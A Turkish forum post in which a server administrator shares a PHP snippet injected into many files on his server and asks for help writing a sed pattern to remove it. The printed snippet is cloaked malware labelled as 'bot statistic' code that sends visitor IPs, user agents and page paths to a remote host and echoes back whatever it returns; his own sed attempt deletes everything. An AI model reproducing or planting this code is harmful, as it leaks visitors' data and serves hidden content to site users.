Yaklaşık bir haftadır pek çok gece bununla uğraştım. Server'ımda pek çok php dosyasına bu bulaşmış;

test<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&

(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr

($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( '').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode

($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET

['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>deneme
test ve deneme yazısını örnek olsun diye yazdım o bölümlerde sayfada geçen diğer kodlar mevcut. <?php if (!isset) ... ?> aralığında ki kodları bunlarda dahil olmak üzere silecek bir pattern yapmaya çalışıyorum ve tabi bir türlü beceremiyorum. En son ulaştığım nokta şu;

find . -name "*.txt" | xargs sed -i -e "s/[a-zA-Z0-9_\$\?\{\}\;\)\(\'\=\<\>\.\,\&\!\{\/\@\"\[\]]//g"
Burada sadece (.*?) kullandığımda özel karakterlerde falan sorun çıktığı için [a-zA-Z0-9_\$.. diye başlayan yeri oluşturdum ve sadece köşeli parantezleri ekleyemedim bu aralığa. Bu şu anda sayfa içerisinde ne var ne yoksa siliyor. Benim sadece belirttiğim gibi <?php if (!isset) ... ?> kodlarını silmem gerekiyor bunun dışındakilerin kalması gerek.

Evet bir türlüde çıkamadım bu regex olaylarından zaten ne zaman girsem buna saatlerce kastırıyor beni. Bilen yardım edecek olan varsa bin duacısı olurum. Yanlız php ile falan yap demeyin chown vs. uğraşmak zor oluyor ISPConfig'li sistemde.